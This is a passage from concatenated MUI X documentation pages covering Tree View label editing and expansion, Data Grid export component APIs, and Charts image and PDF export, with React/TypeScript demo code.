import { useRichTreeViewApiRef } from '@mui/x-tree-view/hooks';
import { MUI_X_PRODUCTS } from './products';

export default function ApiMethodUpdateItemLabel() {
  const [isLabelUpdated, setIsLabelUpdated] = React.useState(false);
  const apiRef = useRichTreeViewApiRef();

  const handleUpdateLabel = () => {
    if (isLabelUpdated) {
      apiRef.current!.updateItemLabel('grid', 'Data Grid');
      setIsLabelUpdated(false);
    } else {
      apiRef.current!.updateItemLabel('grid', 'New Label');
      setIsLabelUpdated(true);
    }
  };

  return (
    <Stack spacing={2}>
      <Stack spacing={2} direction="row">
        <Button onClick={handleUpdateLabel}>
          {isLabelUpdated ? 'Reset Data Grid label' : 'Change Data Grid label'}
        </Button>
      </Stack>
      <Box sx={{ minHeight: 352, minWidth: 260 }}>
        <RichTreeView items={MUI_X_PRODUCTS} apiRef={apiRef} />
      </Box>
    </Stack>
  );
}

```

### Change edition mode of an item

Use the `setEditedItem()` API method to set which item is being edited.

```ts
apiRef.current.setEditedItem(
  // The id of the item to edit, or `null` to exit editing mode
  itemId,
);
```

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import { RichTreeView } from '@mui/x-tree-view/RichTreeView';
import { useRichTreeViewApiRef } from '@mui/x-tree-view/hooks';

export default function ApiMethodSetEditedItem() {
  const [items, setItems] = React.useState([
    { id: '1', label: 'Jane Doe', editable: true },
  ]);
  const apiRef = useRichTreeViewApiRef();

  const handleAddFolder = () => {
    const newId = String(items.length + 1);
    const newItem = { id: newId, label: '', editable: true };

    setItems((prev) => [...prev, newItem]);

    requestAnimationFrame(() => {
      apiRef.current!.setEditedItem(newId);
    });
  };

  const handleItemLabelChange = (itemId: string, newLabel: string) => {
    setItems((prevItems) =>
      prevItems.map((item) =>
        item.id === itemId ? { ...item, label: newLabel } : item,
      ),
    );
  };

  return (
    <Stack spacing={2}>
      <Stack spacing={2} direction="row">
        <Button onClick={handleAddFolder}>+ Add Folder</Button>
      </Stack>
      <Box sx={{ minHeight: 352, minWidth: 260 }}>
        <RichTreeView
          items={items}
          apiRef={apiRef}
          isItemEditable={(item) => item.editable}
          onItemLabelChange={handleItemLabelChange}
        />
      </Box>
    </Stack>
  );
}

```

## Editing lazy loaded children

To store the updated item labels on your server, use the `onItemLabelChange()` callback function.

Changes to the label are not automatically updated in the `dataSourceCache` and must be updated manually.

```tsx
const handleItemLabelChange = (itemId: TreeViewItemId, newLabel: string) => {
  // update your cache here
};

<RichTreeViewPro
  items={[]}
  onItemLabelChange={handleItemLabelChange}
  isItemEditable
  dataSource={{
    getChildrenCount: (item) => item?.childrenCount as number,
    getTreeItems: fetchData,
  }}
  {...otherProps}
/>;
```

See [lazy loading](/x/react-tree-view/rich-tree-view/lazy-loading/#lazy-loading-and-label-editing) for more details.

---

# Source: https://mui.com/x/react-charts/examples.md

---
title: React Charts
productId: x-charts
githubLabel: 'scope: charts'
packageName: '@mui/x-charts'
---

# MUI X Charts

Browse through our collection of MUI X Chart demos.

## Bar Charts

Vertical and horizontal bars, stacked and grouped variations.



## Line Charts

Connected data points showing trends over time.



## Area Charts

Filled areas below lines for cumulative data.



## Scatter Charts

Plot points to show relationships between variables.



## Pie Charts

Circular slices showing proportional data.



## Other Charts

Gauge, sparkline, and specialized chart types.



## More demos

Browse individual chart categories for more detailed examples:

- **[Bar Charts](/x/react-charts/bar-demo/)**
- **[Line Charts](/x/react-charts/line-demo/)**
- **[Area Charts](/x/react-charts/areas-demo/)**
- **[Scatter Charts](/x/react-charts/scatter-demo/)**
- **[Pie Charts](/x/react-charts/pie-demo/)**
- **[Other Charts](/x/react-charts/gauge/)**

---

# Source: https://mui.com/x/react-tree-view/rich-tree-view/expansion.md

# Source: https://mui.com/x/react-tree-view/simple-tree-view/expansion.md

---
productId: x-tree-view
title: Simple Tree View - Expansion
components: SimpleTreeView, TreeItem
packageName: '@mui/x-tree-view'
githubLabel: 'scope: tree view'
waiAria: https://www.w3.org/WAI/ARIA/apg/patterns/treeview/
---

# Simple Tree View - Expansion

Learn how to handle expanding and collapsing Tree View items.

## Controlled expansion

Use the `expandedItems` prop to control expanded items.
You can also use the `onExpandedItemsChange` prop to listen to changes in the expanded items and update the prop accordingly.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';

export default function ControlledExpansion() {
  const [expandedItems, setExpandedItems] = React.useState<string[]>([]);

  const handleExpandedItemsChange = (
    event: React.SyntheticEvent | null,
    itemIds: string[],
  ) => {
    setExpandedItems(itemIds);
  };

  const handleExpandClick = () => {
    setExpandedItems((oldExpanded) =>
      oldExpanded.length === 0
        ? [
            'grid',
            'grid-community',
            'grid-pro',
            'grid-premium',
            'pickers',
            'pickers-community',
            'pickers-pro',
            'charts',
            'charts-community',
            'tree-view',
            'tree-view-community',
          ]
        : [],
    );
  };

  return (
    <Stack spacing={2}>
      <div>
        <Button onClick={handleExpandClick}>
          {expandedItems.length === 0 ? 'Expand all' : 'Collapse all'}
        </Button>
      </div>
      <Box sx={{ minHeight: 352, minWidth: 250 }}>
        <SimpleTreeView
          expandedItems={expandedItems}
          onExpandedItemsChange={handleExpandedItemsChange}
        >
          <TreeItem itemId="grid" label="Data Grid">
            <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
            <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
            <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
          </TreeItem>
          <TreeItem itemId="pickers" label="Date and Time Pickers">
            <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
            <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
          </TreeItem>
          <TreeItem itemId="charts" label="Charts">
            <TreeItem itemId="charts-community" label="@mui/x-charts" />
          </TreeItem>
          <TreeItem itemId="tree-view" label="Tree View">
            <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
          </TreeItem>
        </SimpleTreeView>
      </Box>
    </Stack>
  );
}

```

:::info

- The expansion is **controlled** when its parent manages it by providing a `expandedItems` prop.
- The expansion is **uncontrolled** when it's managed by the component's own internal state. This state can be initialized using the `defaultExpandedItems` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Track item expansion change

Use the `onItemExpansionToggle` prop to trigger an action upon an item being expanded.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';
import Typography from '@mui/material/Typography';

export default function TrackItemExpansionToggle() {
  const [action, setAction] = React.useState<{
    itemId: string;
    isExpanded: boolean;
  } | null>(null);

  const handleItemExpansionToggle = (
    event: React.SyntheticEvent | null,
    itemId: string,
    isExpanded: boolean,
  ) => {
    setAction({ itemId, isExpanded });
  };

  return (
    <Stack spacing={2}>
      {action == null ? (
        <Typography>No action recorded</Typography>
      ) : (
        <Typography>
          Last action: {action.isExpanded ? 'expand' : 'collapse'} {action.itemId}
        </Typography>
      )}
      <Box sx={{ minHeight: 352, minWidth: 250 }}>
        <SimpleTreeView onItemExpansionToggle={handleItemExpansionToggle}>
          <TreeItem itemId="grid" label="Data Grid">
            <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
            <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
            <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
          </TreeItem>
          <TreeItem itemId="pickers" label="Date and Time Pickers">
            <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
            <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
          </TreeItem>
          <TreeItem itemId="charts" label="Charts">
            <TreeItem itemId="charts-community" label="@mui/x-charts" />
          </TreeItem>
          <TreeItem itemId="tree-view" label="Tree View">
            <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
          </TreeItem>
        </SimpleTreeView>
      </Box>
    </Stack>
  );
}

```

## Limit expansion to icon container

You can use the `expansionTrigger` prop to decide if the expansion interaction should be triggered by clicking on the icon container instead of the whole `TreeItem` content.

```tsx
import Box from '@mui/material/Box';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';

export default function IconExpansionTreeView() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 250 }}>
      <SimpleTreeView aria-label="icon expansion" expansionTrigger="iconContainer">
        <TreeItem itemId="grid" label="Data Grid">
          <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
          <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
          <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
        </TreeItem>
        <TreeItem itemId="pickers" label="Date and Time Pickers">
          <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
          <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
        </TreeItem>
        <TreeItem itemId="charts" label="Charts">
          <TreeItem itemId="charts-community" label="@mui/x-charts" />
        </TreeItem>
        <TreeItem itemId="tree-view" label="Tree View">
          <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
        </TreeItem>
      </SimpleTreeView>
    </Box>
  );
}

```

## Imperative API

:::success
To use the `apiRef` object, you need to initialize it using the `useSimpleTreeViewApiRef()` hook as follows:

```tsx
const apiRef = useSimpleTreeViewApiRef();

return <SimpleTreeView apiRef={apiRef} items={ITEMS} />;
```

When your component first renders, `apiRef.current` is `undefined`.
After the initial render, `apiRef` holds methods to interact imperatively with `SimpleTreeView`.
:::

### Change an item expansion

Use the `setItemExpansion()` API method to change the expansion of an item.

```ts
apiRef.current.setItemExpansion({
  // The DOM event that triggered the change
  event,
  // The id of the item to expand or collapse
  itemId,
  // If `true` the item is expanded
  // If `false` the item is collapsed
  // If not defined, the item's expansion status is toggled.
  shouldBeExpanded,
});
```

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';
import { useSimpleTreeViewApiRef } from '@mui/x-tree-view/hooks';

export default function ApiMethodSetItemExpansion() {
  const apiRef = useSimpleTreeViewApiRef();

  const handleExpandClick = (event: React.MouseEvent) => {
    apiRef.current!.setItemExpansion({
      event,
      itemId: 'grid',
      shouldBeExpanded: true,
    });
  };

  const handleCollapseClick = (event: React.MouseEvent) => {
    apiRef.current!.setItemExpansion({
      event,
      itemId: 'grid',
      shouldBeExpanded: false,
    });
  };

  return (
    <Stack spacing={2}>
      <Stack spacing={2} direction="row">
        <Button onClick={handleExpandClick}>Expand Data Grid</Button>
        <Button onClick={handleCollapseClick}>Collapse Data Grid</Button>
      </Stack>
      <Box sx={{ minHeight: 352, minWidth: 250 }}>
        <SimpleTreeView apiRef={apiRef}>
          <TreeItem itemId="grid" label="Data Grid">
            <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
            <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
            <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
          </TreeItem>
          <TreeItem itemId="pickers" label="Date and Time Pickers">
            <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
            <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
          </TreeItem>
          <TreeItem itemId="charts" label="Charts">
            <TreeItem itemId="charts-community" label="@mui/x-charts" />
          </TreeItem>
          <TreeItem itemId="tree-view" label="Tree View">
            <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
          </TreeItem>
        </SimpleTreeView>
      </Box>
    </Stack>
  );
}

```

### Check if an item is expanded

Use the `isItemExpanded()` API method to check the expansion of an item.

```ts
apiRef.current.isItemExpanded(
  // The id of the item to check
  itemId,
);
```

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import Snackbar from '@mui/material/Snackbar';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';
import { useSimpleTreeViewApiRef } from '@mui/x-tree-view/hooks';

export default function ApiMethodIsItemExpanded() {
  const apiRef = useSimpleTreeViewApiRef();
  const [isGridExpanded, setIsGridExpanded] = React.useState<boolean>(false);
  const [isSnackbarOpen, setIsSnackbarOpen] = React.useState(false);

  const checkExpansion = () => {
    setIsGridExpanded(apiRef.current!.isItemExpanded('grid'));
    setIsSnackbarOpen(true);
  };

  return (
    <Stack spacing={2} sx={{ position: 'relative' }}>
      <Stack spacing={2} direction="row">
        <Button onClick={checkExpansion}>
          Check if the the Data Grid is expanded
        </Button>
        <Snackbar
          open={isSnackbarOpen}
          autoHideDuration={3000}
          onClose={() => setIsSnackbarOpen(false)}
          message={`Data Grid is ${isGridExpanded ? 'expanded' : 'collapsed'}`}
          anchorOrigin={{ vertical: 'bottom', horizontal: 'center' }}
          sx={{ position: 'absolute' }}
        />
      </Stack>
      <Box sx={{ minHeight: 352, minWidth: 250 }}>
        <SimpleTreeView apiRef={apiRef}>
          <TreeItem itemId="grid" label="Data Grid">
            <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
            <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
            <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
          </TreeItem>
          <TreeItem itemId="pickers" label="Date and Time Pickers">
            <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
            <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
          </TreeItem>
          <TreeItem itemId="charts" label="Charts">
            <TreeItem itemId="charts-community" label="@mui/x-charts" />
          </TreeItem>
          <TreeItem itemId="tree-view" label="Tree View">
            <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
          </TreeItem>
        </SimpleTreeView>
      </Box>
    </Stack>
  );
}

```

---

# Source: https://mui.com/x/api/data-grid/export-csv.md

# ExportCsv API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Data Grid - Export component](/x/react-data-grid/components/export)

## Import

```jsx
import { ExportCsv } from '@mui/x-data-grid/components';
// or
import { ExportCsv } from '@mui/x-data-grid';
// or
import { ExportCsv } from '@mui/x-data-grid-pro';
// or
import { ExportCsv } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| options | `{ allColumns?: bool, delimiter?: string, escapeFormulas?: bool, fields?: Array<string>, fileName?: string, getRowsToExport?: func, includeColumnGroupsHeaders?: bool, includeHeaders?: bool, shouldAppendQuotes?: bool, utf8WithBom?: bool }` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid/src/components/export/ExportCsv.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid/src/components/export/ExportCsv.tsx)

---

# Source: https://mui.com/x/api/data-grid/export-excel.md

# ExportExcel API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Data Grid - Export component](/x/react-data-grid/components/export)

## Import

```jsx
import { ExportExcel } from '@mui/x-data-grid-premium/components';
// or
import { ExportExcel } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| options | `{ allColumns?: bool, columnsStyles?: object, escapeFormulas?: bool, exceljsPostProcess?: func, exceljsPreProcess?: func, fields?: Array<string>, fileName?: string, getRowsToExport?: func, includeColumnGroupsHeaders?: bool, includeHeaders?: bool, valueOptionsSheetName?: string, worker?: func }` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-premium/src/components/export/ExportExcel.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-premium/src/components/export/ExportExcel.tsx)

---

# Source: https://mui.com/x/api/data-grid/export-print.md

# ExportPrint API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Data Grid - Export component](/x/react-data-grid/components/export)

## Import

```jsx
import { ExportPrint } from '@mui/x-data-grid/components';
// or
import { ExportPrint } from '@mui/x-data-grid';
// or
import { ExportPrint } from '@mui/x-data-grid-pro';
// or
import { ExportPrint } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| options | `{ allColumns?: bool, bodyClassName?: string, copyStyles?: bool, fields?: Array<string>, fileName?: string, getRowsToExport?: func, hideFooter?: bool, hideToolbar?: bool, includeCheckboxes?: bool, pageStyle?: func \| string }` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid/src/components/export/ExportPrint.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid/src/components/export/ExportPrint.tsx)

---

# Source: https://mui.com/x/react-data-grid/components/export.md

# Source: https://mui.com/x/react-data-grid/export.md

# Source: https://mui.com/x/react-charts/export.md

---
title: Charts - Export
productId: x-charts
components: ScatterChartPro, BarChartPro, LineChartPro, Heatmap, FunnelChart, RadarChartPro, SankeyChart
---

# Charts - Export [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Let users export a chart as an image or in PDF format.

Charts can be exported as images, or as PDFs using the browser's native print dialog.
The exporting feature is available for the following charts:

- `LineChartPro`
- `BarChartPro`
- `ScatterChartPro`
- `PieChartPro`
- `Heatmap`
- `FunnelChart`
- `RadarChartPro`
- `SankeyChart`

## Implementing exporting

### Default toolbar

To enable exporting from the chart's toolbar, pass the `showToolbar` prop to the chart component.
The toolbar then renders a button that opens a menu with the export options.

:::info
By default, the toolbar is not displayed on exported media.
You can override the `onBeforeExport` callback to change this behavior.
:::

```tsx
import { LineChartPro } from '@mui/x-charts-pro/LineChartPro';
import Typography from '@mui/material/Typography';
import Stack from '@mui/material/Stack';
import { inflationData } from '../dataset/inflationRates';

const yAxisFormatter = new Intl.NumberFormat('en-US', {
  style: 'percent',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
  maximumSignificantDigits: 1,
});
const percentageFormatter = new Intl.NumberFormat('en-US', {
  style: 'percent',
  minimumFractionDigits: 2,
  maximumFractionDigits: 2,
});
const seriesValueFormatter = (value: number | null) =>
  percentageFormatter.format(value! / 100);

const xAxis = [
  {
    data: inflationData.map((p) => p.year),
    valueFormatter: (value: number) => `${value}`,
    zoom: true,
  },
];

const yAxis = [
  { valueFormatter: (value: number) => yAxisFormatter.format(value / 100) },
];

const series = [
  {
    label: 'Germany',
    data: inflationData.map((p) => p.rateDE),
    valueFormatter: seriesValueFormatter,
    showMark: false,
  },
  {
    label: 'United Kingdom',
    data: inflationData.map((p) => p.rateUK),
    valueFormatter: seriesValueFormatter,
    showMark: false,
  },
  {
    label: 'France',
    data: inflationData.map((p) => p.rateFR),
    valueFormatter: seriesValueFormatter,
    showMark: false,
  },
];

const settings = {
  height: 300,
  xAxis,
  yAxis,
  series,
  grid: { horizontal: true },
};

export default function ExportChartToolbar() {
  return (
    <Stack width="100%">
      <Typography sx={{ alignSelf: 'center', my: 1 }}>
        Inflation rate in France, Germany and the UK, 1960-2024
      </Typography>
      <LineChartPro {...settings} showToolbar />
      <Typography variant="caption">Source: World Bank</Typography>
    </Stack>
  );
}

```

### Custom toolbar

See [Toolbar—Composition](/x/react-charts/toolbar/#composition) for more information on how to create a custom toolbar.

## Image exporting

You must install `rasterizehtml` to enable image exporting:

<codeblock storageKey="package-manager">

```bash npm
npm install rasterizehtml
```

```bash pnpm
pnpm add rasterizehtml
```

```bash yarn
yarn add rasterizehtml
```

</codeblock>

## Export options

Export behavior can be modified with [print](/x/api/charts/chart-print-export-options/) and [image export](/x/api/charts/chart-image-export-options/) options.
These options can be passed to the built-in toolbar using `slotProps.toolbar`, and are then automatically displayed.

You can customize their respective behaviors by passing an options object to `slotProps.toolbar`, or to the export trigger itself if you're using a custom toolbar:

```tsx
// Default toolbar:
<BarChartPro slotProps={{ toolbar: { printOptions, imageExportOptions } }} />

// Custom trigger:
<ChartsToolbarImageExportTrigger options={imageExportOptions} />
<ChartsToolbarPrintExportTrigger options={printExportOptions} />
```

### Export formats

To disable the print export, set the `disableToolbarButton` property to `true`.

You can customize image export formats by providing an array of objects to the `imageExportOptions` property.
These objects must contain the `type` property which specifies the image format.

:::info
If the browser does not support a requested image format, the export defaults to PNG.
:::

In the example below, you can toggle which export formats are available to the user.
The name of the exported file has been customized to resemble the chart's title.

```tsx
import * as React from 'react';
import { ChartProApi } from '@mui/x-charts-pro/context';
import Typography from '@mui/material/Typography';
import Stack from '@mui/material/Stack';
import { HighlightedCode } from '@mui/docs/HighlightedCode';
import { ScatterChartPro } from '@mui/x-charts-pro/ScatterChartPro';
import { ScatterValueType } from '@mui/x-charts/models';
import { continents, countryData } from '../dataset/countryData';
import { populationGdpPerCapitaData } from './populationGdpPerCapitaData';
import ExportOptionSelector from './ExportOptionSelector';

const populationFormatter = new Intl.NumberFormat('en-US', {
  notation: 'compact',
});
const gdpPerCapitaFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  notation: 'compact',
});

const series = continents.map(
  (continent) =>
    ({
      label: continent,
      data: populationGdpPerCapitaData[continent].map((p) => ({
        x: p.population,
        y: p.gdpPerCapita,
        id: countryData[p.code].country,
      })),
      valueFormatter: (value: ScatterValueType | null) =>
        `${value!.id}: ${populationFormatter.format(value!.x)} people, ${gdpPerCapitaFormatter.format(value!.y)} GDP per capita`,
      highlightScope: {
        highlight: 'item',
        fade: 'global',
      },
    }) as const,
);

const fileName = 'Population_vs_GDP_Per_Capita_USD_2019';

export default function ExportChartToolbarCustomization() {
  const apiRef = React.useRef<ChartProApi>(undefined);
  const [formats, setFormats] = React.useState({
    print: true,
    'image/png': true,
    'image/jpeg': false,
    'image/webp': false,
  });

  const imageExportOptions = Object.entries(formats)
    .filter(([key, value]) => key.startsWith('image/') && value)
    .map(([key]) => ({ type: key, fileName }));

  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {
    setFormats((prev) => ({
      ...prev,
      [event.target.name]: event.target.checked,
    }));
  };

  return (
    <Stack width="100%">
      <Typography sx={{ alignSelf: 'center', my: 1 }}>
        Population vs GDP Per Capita (USD), 2019
      </Typography>
      <ScatterChartPro
        apiRef={apiRef}
        height={300}
        margin={{ bottom: 2 }}
        xAxis={[
          {
            scaleType: 'log',
            valueFormatter: (value: number, context) => {
              if (context.location === 'tick' && context.defaultTickLabel === '') {
                return '';
              }
              return populationFormatter.format(value);
            },
            zoom: true,
            label: 'Population',
          },
        ]}
        series={series}
        yAxis={[
          {
            scaleType: 'log',
            valueFormatter: (value: number) => gdpPerCapitaFormatter.format(value),
            label: 'GDP per Capita',
          },
        ]}
        showToolbar
        grid={{ horizontal: true }}
        slotProps={{
          toolbar: {
            printOptions: { disableToolbarButton: !formats.print, fileName },
            imageExportOptions,
          },
        }}
      />
      <Typography variant="caption" textAlign="end" marginBottom={2}>
        Source: World Bank
      </Typography>
      <Stack direction={{ xs: 'column', md: 'row-reverse' }} spacing={2}>
        <ExportOptionSelector formats={formats} handleChange={handleChange} />
        <HighlightedCode
          sx={{ minWidth: 0, flexGrow: 1, '& pre': { margin: 0 } }}
          code={`const filename = '${fileName}';
          
<ScatterChartPro
  // ...
  slotProps={{
    toolbar: {
      printOptions: ${formats.print ? `{ fileName }` : `{ disableToolbarButton: true }`},
      imageExportOptions: ${
        imageExportOptions.length === 0
          ? '[]'
          : `[
        ${imageExportOptions
          .map(
            (option) =>
              `{ ${Object.entries(option)
                .map(([key, value]) => {
                  if (key === 'fileName') {
                    return 'filename';
                  }
                  return `${key}: ${JSON.stringify(value)}`;
                })
                .join(' , ')} }`,
          )
          .join(',\n        ')}
      ]`
      }
    },
  }}
/>`}
          language="jsx"
          copyButtonHidden
        />
      </Stack>
    </Stack>
  );
}

```

### Add custom styles before exporting

To add custom styles or modify the chart's appearance before exporting, use the `onBeforeExport` callback.

When exporting, the chart is first rendered into an iframe and then exported as an image or PDF.
The `onBeforeExport` callback gives you access to the iframe before the export process starts.

For example, you can add the title and caption to the exported chart as shown below:

```tsx
import * as React from 'react';
import { LineChartPro } from '@mui/x-charts-pro/LineChartPro';
import Typography from '@mui/material/Typography';
import Stack from '@mui/material/Stack';
import { defaultOnBeforeExport } from '@mui/x-charts-pro/models';
import { inflationData } from '../dataset/inflationRates';

const yAxisFormatter = new Intl.NumberFormat('en-US', {
  style: 'percent',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
  maximumSignificantDigits: 1,
});
const percentageFormatter = new Intl.NumberFormat('en-US', {
  style: 'percent',
  minimumFractionDigits: 2,
  maximumFractionDigits: 2,
});
const seriesValueFormatter = (value: number | null) =>
  percentageFormatter.format(value! / 100);

const xAxis = [
  {
    data: inflationData.map((p) => p.year),
    valueFormatter: (value: number) => `${value}`,
    zoom: true,
  },
];

const yAxis = [
  { valueFormatter: (value: number) => yAxisFormatter.format(value / 100) },
];

const series = [
  {
    label: 'Germany',
    data: inflationData.map((p) => p.rateDE),
    valueFormatter: seriesValueFormatter,
    showMark: false,
  },
  {
    label: 'United Kingdom',
    data: inflationData.map((p) => p.rateUK),
    valueFormatter: seriesValueFormatter,
    showMark: false,
  },
  {
    label: 'France',
    data: inflationData.map((p) => p.rateFR),
    valueFormatter: seriesValueFormatter,
    showMark: false,
  },
];

const settings = {
  height: 300,
  xAxis,
  yAxis,
  series,
  grid: { horizontal: true },
};

function createOnBeforeExport(
  titleRef: React.RefObject<HTMLSpanElement | null>,
  captionRef: React.RefObject<HTMLSpanElement | null>,
) {
  return function onBeforeExport(iframe: HTMLIFrameElement) {
    // Apply default modification (removing the toolbar)
    defaultOnBeforeExport(iframe);
    const document = iframe.contentDocument!;
    const chart = document.body.firstElementChild!;

    // Create a vertical stack to hold the title, chart and caption
    const stack = document.createElement('div');

    stack.style.display = 'flex';
    stack.style.flexDirection = 'column';
    stack.style.width = 'fit-content';
    stack.style.margin = 'auto';

    document.body.appendChild(stack);

    // Add title to stack
    const title = titleRef.current;
    if (title) {
      const titleClone = title.cloneNode(true) as HTMLSpanElement;
      stack.appendChild(titleClone);
    }

    // Move chart to stack (after title)
    document.body.removeChild(chart);
    stack.appendChild(chart);

    // Add caption to stack
    const caption = captionRef.current;
    if (caption) {
      const captionClone = caption.cloneNode(true) as HTMLSpanElement;
      captionClone.style.alignSelf = 'start';
      stack.appendChild(captionClone);
    }
  };
}

export default function ExportChartOnBeforeExport() {
  const titleRef = React.useRef<HTMLSpanElement>(null);
  const captionRef = React.useRef<HTMLSpanElement>(null);
  const onBeforeExport = React.useMemo(
    () => createOnBeforeExport(titleRef, captionRef),
    [],
  );

  return (
    <Stack width="100%">
      <Typography ref={titleRef} sx={{ alignSelf: 'center', my: 1 }}>
        Inflation rate in France, Germany and the UK, 1960-2024
      </Typography>
      <LineChartPro
        {...settings}
        showToolbar
        slotProps={{
          toolbar: {
            printOptions: { onBeforeExport },
            imageExportOptions: [{ type: 'image/png', onBeforeExport }],
          },
        }}
      />
      <Typography ref={captionRef} variant="caption">
        Source: World Bank
      </Typography>
    </Stack>
  );
}

```

:::info
If you don't want to manually add elements to the chart export, you can create a chart through composition and include the elements you want to export as part of the chart.
See [Exporting composed charts](#exporting-composed-charts) below for more information.
:::

## Copy styles

The styles of the page the chart belongs to are copied to the export iframe by default.
You can disable this behavior by setting the `copyStyles` property to `false` in the export options.

```tsx
<BarChartPro slotProps={{ toolbar: { printOptions: { copyStyles: false } } }} />
```

## Exporting composed charts

MUI X Charts may be [self-contained](/x/react-charts/quickstart/#self-contained-charts) or [composed of various subcomponents](/x/react-charts/quickstart/#composable-charts).
See [Composition](/x/react-charts/composition/) for more details on implementing the latter type.

`ChartsWrapper` is considered the root element of a chart for exporting purposes, and all descendants are included in the export.

To use a custom wrapper instead, you must set the reference to the root element with the `useChartRootRef()` hook as shown below:

```tsx
import * as React from 'react';
import { BarPlot } from '@mui/x-charts/BarChart';
import { LinePlot, MarkPlot } from '@mui/x-charts/LineChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { useChartRootRef } from '@mui/x-charts/hooks';
import Button from '@mui/material/Button';
import { Stack } from '@mui/system';
import { ChartDataProviderPro } from '@mui/x-charts-pro/ChartDataProviderPro';
import { ChartsSurface } from '@mui/x-charts/ChartsSurface';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { ChartsLegend } from '@mui/x-charts/ChartsLegend';
import { useChartProApiRef } from '@mui/x-charts-pro/hooks';
import Typography from '@mui/material/Typography';

function CustomChartWrapper({ children }: React.PropsWithChildren) {
  const chartRootRef = useChartRootRef();

  return (
    <div
      ref={chartRootRef}
      style={{ display: 'flex', flexDirection: 'column', alignItems: 'center' }}
    >
      {children}
    </div>
  );
}

export default function ExportCompositionNoSnap() {
  const apiRef = useChartProApiRef<'composition'>();

  return (
    <Stack width="100%" sx={{ display: 'block' }}>
      <Button
        onClick={() => apiRef.current!.exportAsPrint()}
        variant="contained"
        sx={{ mb: 1 }}
      >
        Print
      </Button>
      <ChartDataProviderPro
        apiRef={apiRef}
        height={300}
        series={[
          {
            type: 'bar',
            data: [1, 2, 3, 2, 1],
            label: 'Bar',
          },
          {
            type: 'line',
